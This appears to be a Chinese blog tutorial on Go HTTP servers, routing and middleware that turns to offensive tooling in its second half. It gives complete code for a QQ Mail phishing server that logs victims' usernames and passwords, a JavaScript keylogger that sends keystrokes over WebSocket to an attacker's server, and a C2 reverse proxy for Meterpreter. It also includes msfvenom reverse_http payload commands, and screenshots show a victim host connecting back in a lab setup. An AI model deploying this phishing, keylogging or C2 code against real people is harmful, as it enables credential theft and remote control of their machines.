建立一个httpserver

  1. package main
  2. import (
  3. "fmt"
  4. "net/http"
  5. )
  6. func hello(w http.ResponseWriter, r *http.Request) {
  7. fmt.Fprintf(w, "Hello %s\n", r.URL.Query().Get("name"))// 取query参数进行拼接并赋值到writer
  8. }
  9. func main() {
  10. http.HandleFunc("/hello", hello)
  11. http.ListenAndServe(":8000", nil)
  12. }

image.png

使用路由

  1. package main
  2. import (
  3. "fmt"
  4. "net/http"
  5. )
  6. type router struct {
  7. }
  8. func (r *router) ServeHTTP(w http.ResponseWriter, req *http.Request) {
  9. switch req.URL.Path {
  10. case "/a":
  11. fmt.Fprint(w, "Executing /a")
  12. case "/b":
  13. fmt.Fprint(w, "Executing /b")
  14. case "/c":
  15. fmt.Fprint(w, "Executing /c")
  16. default:
  17. http.Error(w, "404 Not Found", 404)
  18. }
  19. }
  20. func main() {
  21. var r router
  22. http.ListenAndServe(":8000", &r)
  23. }

这里router实现了ServerHTTP方法,也就实现了http.handler接口,因此可以传入http.ListenAndServe方法中
image.png
image.png
image.png
这里有个疑问就是第一个httpserver的ListenAndServe第二个参数为空,其实也是设置了handler的,http.HandleFunc方法将路由以及对应的处理方法注册进了DefaultServeMux。

middleware

  1. package main
  2. import (
  3. "fmt"
  4. "log"
  5. "net/http"
  6. )
  7. type logger struct {
  8. Inner http.Handler
  9. }
  10. func (l *logger) ServeHTTP(w http.ResponseWriter,r *http.Request) {
  11. log.Println("start")
  12. l.Inner.ServeHTTP(w,r) // <-------------
  13. log.Println("end")
  14. }
  15. func hello2(w http.ResponseWriter,r *http.Request){
  16. fmt.Fprint(w,"hello2\n")
  17. }
  18. func main() {
  19. f := http.HandlerFunc(hello2)
  20. l := logger{Inner: f}
  21. http.ListenAndServe(":8000",&l)
  22. }

先看一下流程,首先http.HandlerFunc设置了所有请求的处理方法为hello2,此时返回的handler设置为logger的Inner,而logger也实现了ServeHTTP函数,其作为http.handler传入ListenAndServe。当有请求入栈,触发

  1. func (l *logger) ServeHTTP(w http.ResponseWriter,r *http.Request)

方法内再触发

  1. func hello2(w http.ResponseWriter,r *http.Request)

实现的效果就是任何请求入栈,在真正做操作之前都执行了我们定义的操作或者方法。有点切面编程的意思。
image.png

mux

  1. package main
  2. import (
  3. "fmt"
  4. "github.com/gorilla/mux"
  5. "net/http"
  6. )
  7. func main() {
  8. r := mux.NewRouter()
  9. r.HandleFunc("/foo", func(w http.ResponseWriter, r *http.Request) {
  10. fmt.Fprintf(w,"hello\n")
  11. }).Methods("GET")
  12. http.ListenAndServe(":8000",r)
  13. }

mux包可匹配请求的methods,host等。只有匹配成功才能访问路由
image.png
支持变量

  1. r.HandleFunc("/foo/{user}", func(w http.ResponseWriter, r *http.Request)

image.png
正则限定参数类型

  1. r.HandleFunc("/foo/{user:[a-z]+}", func(w http.ResponseWriter, r *http.Request)

image.png

Negroni

  1. package main
  2. import (
  3. "fmt"
  4. "github.com/gorilla/mux"
  5. "github.com/urfave/negroni"
  6. "net/http"
  7. )
  8. type trivial struct {
  9. } // 实现了negroni的ServeHTTP方法
  10. func (t *trivial) ServeHTTP(w http.ResponseWriter,r *http.Request,next http.HandlerFunc){
  11. fmt.Fprintf(w,"pass trivial\n")
  12. next(w,r)
  13. }
  14. func next(w http.ResponseWriter,r http.Request) {
  15. fmt.Fprint(w,"end")
  16. }
  17. func main() {
  18. r := mux.NewRouter()
  19. n := negroni.Classic()
  20. n.Use(&trivial{})
  21. n.UseHandler(r)
  22. http.ListenAndServe(":8000",n)
  23. }

trivial实现了negroni.handler接口
image.png
next具体所指debug了一下发现由这个函数进行集中分发,
image.png
整个next的调用如下,在中间某一步调用了我们实现的ServeHTTP方法。据具体还没搞清楚,太菜了。。
image.png

一个小整合

  1. package main
  2. import (
  3. "context"
  4. "fmt"
  5. "net/http"
  6. "github.com/gorilla/mux"
  7. "github.com/urfave/negroni"
  8. )
  9. type badAuth struct {
  10. Username string
  11. Password string
  12. }
  13. func (b *badAuth) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc) {
  14. username := r.URL.Query().Get("username")
  15. password := r.URL.Query().Get("password")
  16. if username != b.Username || password != b.Password {
  17. http.Error(w, "Unauthorized", 401)
  18. return
  19. }
  20. ctx := context.WithValue(r.Context(), "username", username)
  21. r = r.WithContext(ctx)
  22. next(w, r)
  23. }
  24. func hello(w http.ResponseWriter, r *http.Request) {
  25. username := r.Context().Value("username").(string)
  26. fmt.Fprintf(w, "Hi %s\n", username)
  27. }
  28. func main() {
  29. r := mux.NewRouter()
  30. r.HandleFunc("/hello", hello).Methods("GET") // GET访问/hello
  31. n := negroni.Classic()
  32. n.Use(&badAuth{
  33. Username: "admin",
  34. Password: "password",
  35. })
  36. n.UseHandler(r)
  37. http.ListenAndServe(":8000", n)
  38. }

如图我们提交username和password后,后端来到

  1. func (b *badAuth) ServeHTTP(w http.ResponseWriter, r *http.Request, next http.HandlerFunc)

获取到用户名和密码,进行对比,如果不匹配则返回401,否则认证成功进入下一步,初始化context,并在r上下文设置变量username将变量传递,到达hello handler,读取username进行展示。
image.png

实现一个qqmail钓鱼页面

  1. package main
  2. import (
  3. log "github.com/sirupsen/logrus"
  4. "github.com/gorilla/mux"
  5. "net/http"
  6. "os"
  7. "time"
  8. )
  9. func main() {
  10. f,err := os.OpenFile("s.txt",os.O_CREATE|os.O_APPEND|os.O_WRONLY,0600)
  11. if err != nil{
  12. panic(err)
  13. }
  14. defer f.Close()
  15. log.SetOutput(f)
  16. r := mux.NewRouter()
  17. r.HandleFunc("/login",login)
  18. r.PathPrefix("/").Handler(http.FileServer(http.Dir("public")))
  19. log.Fatal(http.ListenAndServe(":8000",r))
  20. }
  21. func login(w http.ResponseWriter, r *http.Request) {
  22. log.WithFields(log.Fields{
  23. "time": time.Now(),
  24. "uername":r.FormValue("username"),
  25. "password":r.FormValue("password"),
  26. "UA":r.UserAgent(),
  27. "ipaddr":r.RemoteAddr,
  28. }).Info("log attempt")
  29. http.Redirect(w,r,"https://mail.qq.com",302)
  30. }

image.png
(前端有待优化)
image.png

实现一个keylogger

  1. package main
  2. import (
  3. "flag"
  4. "fmt"
  5. "html/template"
  6. "log"
  7. "net/http"
  8. "github.com/gorilla/mux"
  9. "github.com/gorilla/websocket"
  10. )
  11. var (
  12. upgrader = websocket.Upgrader{
  13. CheckOrigin: func(r *http.Request) bool { return true },
  14. }
  15. listenAddr string
  16. wsAddr string
  17. jsTemplate *template.Template
  18. )
  19. func init() {
  20. flag.StringVar(&listenAddr, "listen-addr", "", "Address to listen on")
  21. flag.StringVar(&wsAddr, "ws-addr", "", "Address for WebSocket connection")
  22. flag.Parse()
  23. var err error
  24. jsTemplate, err = template.ParseFiles("logger.js")
  25. if err != nil {
  26. panic(err)
  27. }
  28. }
  29. func serveWS(w http.ResponseWriter, r *http.Request) {
  30. conn, err := upgrader.Upgrade(w, r, nil) // 所有的http连接使用websocket协议
  31. if err != nil {
  32. http.Error(w, "", 500)
  33. return
  34. }
  35. defer conn.Close()
  36. fmt.Printf("Connection from %s\n", conn.RemoteAddr().String())
  37. for {
  38. _, msg, err := conn.ReadMessage()
  39. if err != nil {
  40. return
  41. }
  42. fmt.Printf("From %s: %s\n", conn.RemoteAddr().String(), string(msg))
  43. }
  44. }
  45. func serveFile(w http.ResponseWriter, r *http.Request) {
  46. w.Header().Set("Content-Type", "application/javascript")
  47. jsTemplate.Execute(w, wsAddr)
  48. }
  49. func main() {
  50. r := mux.NewRouter()
  51. r.HandleFunc("/ws", serveWS)
  52. r.HandleFunc("/k.js", serveFile)
  53. log.Fatal(http.ListenAndServe(":8080", r))
  54. }
  1. (function() {
  2. var conn = new WebSocket("ws://{{.}}/ws");
  3. document.onkeypress = keypress;
  4. function keypress(evt) {
  5. s = String.fromCharCode(evt.which);
  6. conn.send(s);
  7. }
  8. })();

image.png
init函数会在main函数之前执行,这个之前的代码没有注意,无需显式调用init。init函数内的

  1. jsTemplate, err = template.ParseFiles("logger.js")

执行一个模板渲染。也就是后面的k.js是由logger.js渲染而成的,并不是将logger.js直接开放。主函数主要处理两个路由

  • /ws
  • /k.js
    1. func serveWS(w http.ResponseWriter, r *http.Request) {
    由于远程加载了k.js,会在客户端按下按键时主动发送websocket连接,携带信息,回连本地,serveWS调用了websocket包来处理websocket连接,获取连接带来的msg,本地展示,完成键盘记录

    实现一个c2反向代理

    ```go package main

import ( “log” “net/http” “net/http/httputil” “net/url” “github.com/gorilla/mux” )

var ( hostProxy = make(map[string]string) proxies = make(map[string]*httputil.ReverseProxy) )

func init() { hostProxy[“attacker4.com”] = “http://192.168.43.87:4444“ // 定义真正c2服务器地址 hostProxy[“attacker5.com”] = “http://192.168.43.87:5555

  1. for k, v := range hostProxy {
  2. remote, err := url.Parse(v)
  3. if err != nil {
  4. log.Fatal("Unable to parse proxy target")
  5. }
  6. proxies[k] = httputil.NewSingleHostReverseProxy(remote) // 此函数生成了一个c2反向代理指向remote
  7. }

}

func main() { r := mux.NewRouter() for host, proxy := range proxies { // 这里使用mux来匹配HTTP协议的Host头,如果命中则设置handler为proxy。这里的proxy可以看到是前面生成的反向代理,这样实现的效果就是通过不同Host头来代理到不同的C2端口,或者不同的C2服务器。 r.Host(host).Handler(proxy) } log.Fatal(http.ListenAndServe(“:80”, r)) }

  1. 这里简单说一下拓扑
  2. - ubuntu 16.04 192.168.0.68 ---> 受害主机
  3. - windows10 192.168.0.239 ---> go代理
  4. - kali 192.168.0.87 ---> c2服务器
  5. win10启动代理<br />![image.png](https://cdn.nlark.com/yuque/0/2020/png/436678/1599051537716-1a2ca947-9800-4c6d-ada2-9045d4361e6a.png#align=left&display=inline&height=87&margin=%5Bobject%20Object%5D&name=image.png&originHeight=87&originWidth=650&size=10783&status=done&style=none&width=650)<br />kali msf生成shellcode
  6. ```shell
  7. msfvenom -p linux/x86/meterpreter_reverse_http lhost=192.168.43.239 lport=80 HttpHostHeader=attacker4.com -f elf > /root/shell4
  8. msfvenom -p linux/x86/meterpreter_reverse_http lhost=192.168.43.239 lport=80 HttpHostHeader=attacker5.com -f elf > /root/shell5

c2监听端口
image.png
image.png
受害主机执行shellcode
image.png
image.png

c2上线
image.png
image.png
通过抓包也能大概看到反向代理的过程
image.png